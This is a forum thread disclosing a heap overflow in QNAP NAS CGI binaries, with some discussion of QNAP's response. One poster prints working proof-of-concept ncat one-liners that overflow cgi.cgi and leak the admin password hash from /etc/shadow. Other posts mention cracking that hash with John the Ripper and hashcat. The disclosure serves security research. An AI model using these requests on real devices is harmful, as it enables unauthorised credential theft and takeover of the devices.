Subscriber Discussion
0-Day Critical Vulnerability In QNAP
QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and non critical stack crash in "jc.cgi and mediaGet.cgi".
Successful exploitation of this heap overflow vulnerability can lead to unauthorised root (admin) privileges on QNAP devices with anonymous access. (no credential needed to exploit)
Another qnap vulnerability Thousands of QNAP NAS devices have been infected with the QSnatch malware | ZDNet
Yep, default password for Admin ;)
Good one, I like SFL ;)
So, in the demo, its just admin:admin?
SFL = SecureFuzzingLayer :)
Fujitsu has available patched FW for newer HW since 10/01/2017, QNAP not yet for QTS 4.x & QVR 5.x
SRC=FTS_FirmwareQR806_42320170110_1174887.IMG, DEST=QR806_42320170110
----------------------------------------------
decrypting 'FTS_FirmwareQR806_42320170110_1174887.IMG' to 'QR806_42320170110/FTS_FirmwareQR806_42320170110_1174887.IMG.tgz' using PC1 tool ...
Using 120-bit encryption - (QNAPNASVERSION4)
len=1048576
model name = QR806
version = 4.2.3
----------------------------------------------
extracting 'QR806_42320170110/FTS_FirmwareQR806_42320170110_1174887.IMG.tgz' into 'QR806_42320170110/fw'...
*yawn*
I know it can be tiring waiting for jtr to finish...
Pro tip:
#kill -9 john
Process Terminated.
#hashcat64 -a3 -m500 -w3
password hash masking, to confuse you and John the Ripper :)
Eh, not "John Honovich" but "John The Ripper" :)
John the Ripper rips faster, but John the Blogger rips funnier.
Eh, not "John Honovich" but "John The Ripper" :)
Sorry for the confusion...
Remotely execute code (aka bind/remote shell) is highly unlikely (I would even dare to say impossible), but read the password hash and crackable with "John" - that's one step below - is fully functional.
Only difference between these two is time.
#1, what do you think of QNAP's response?
internal investigations have shown that the vulnerability is not easily exploited
QNAP's coding lacks of proper checkins, nothing to do with glibc, it's looks like that when checking the BT, but it's not.
Is this heap overflow bug a known CVE specific to glibc or is the cgi.cgi erroneously overwriting memory first?
For most of them, yes there is, but these lacking of some proper checkins.
The loops are only to easily get up to required chars to trigger things, instead of "manually type" +4000 chars.
(It's actually one and same binary, but mentioned function are symlinked to the main binary (authLogin.cgi).
authLogout.cgi -> authLogin.cgi*
cgi.cgi -> authLogin.cgi*
jc.cgi -> authLogin.cgi*
language.cgi -> authLogin.cgi*
mediaGet.cgi -> authLogin.cgi*
qnapmsg.cgi -> authLogin.cgi*
sysinfoReq.cgi -> authLogin.cgi*
Below is also requests (base64 encoded) to retrieve the admin password (loaded in heap at address 0x0806ce56) that's loaded on heap from /etc/shadow.
Tested with my own device "QNAP TS-251+" and loaded with latest FW Version 4.2.2 (Build 20161214)
[HTTPS]
# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<4467;i++));do echo -en "B";done | base64 -w 0 ; echo -en "D\x56\xce\x06\x08" | base64 -w 0` HTTP/1.0\nHost: BUG\n\n" | ncat --ssl 192.168.5.7 443 | grep glibc
*** glibc detected *** $1$$8lBa9PhdBbp9/AeeTXXXXX: free(): invalid next size (normal): 0x0806e510 ***
#
[HTTP]
#
echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<4467;i++));do echo -en "\xff";done | base64 -w 0 ; echo -en "D\x56\xce\x06\x08" | base64 -w 0` HTTP/1.0\n\n" | ncat 192.168.5.7 8081 | grep glibc
*** glibc detected *** $1$$8lBa9PhdBbp9/AeeTXXXXX: free(): invalid next size (normal): 0x0806e510 ***
#
So is there input sanitizing/bounds checking of the GET string, and that's the reason to inline the backquoted loop?
For other's background information, bashis also uncovered the Axis critical security vulnerability.
#1, thanks for sharing. I edited the title and inserted the summary into the opening to make it clear. Let me know if that works.
I'd email someone at QNAP but I don't know who to speak with. It has been so long since I talked to anyone at QNAP and I am not sure who is there.
Newest Discussions
Discussion | Posts | Latest |
---|---|---|
Started by
Undisclosed Integrator #1
|
1
|
less than a minute by Undisclosed Integrator #1 |
Started by
Undisclosed Manufacturer #1
|
15
|
about 2 hours by Scott Zuniga |
Started by
sameh bouazizi
|
5
|
about 5 hours by Eric Lavergne |
Started by
Undisclosed #1
|
6
|
about 3 hours by Undisclosed #1 |
Started by
Brian Rhodes
|
6
|
18 minutes by Undisclosed #3 |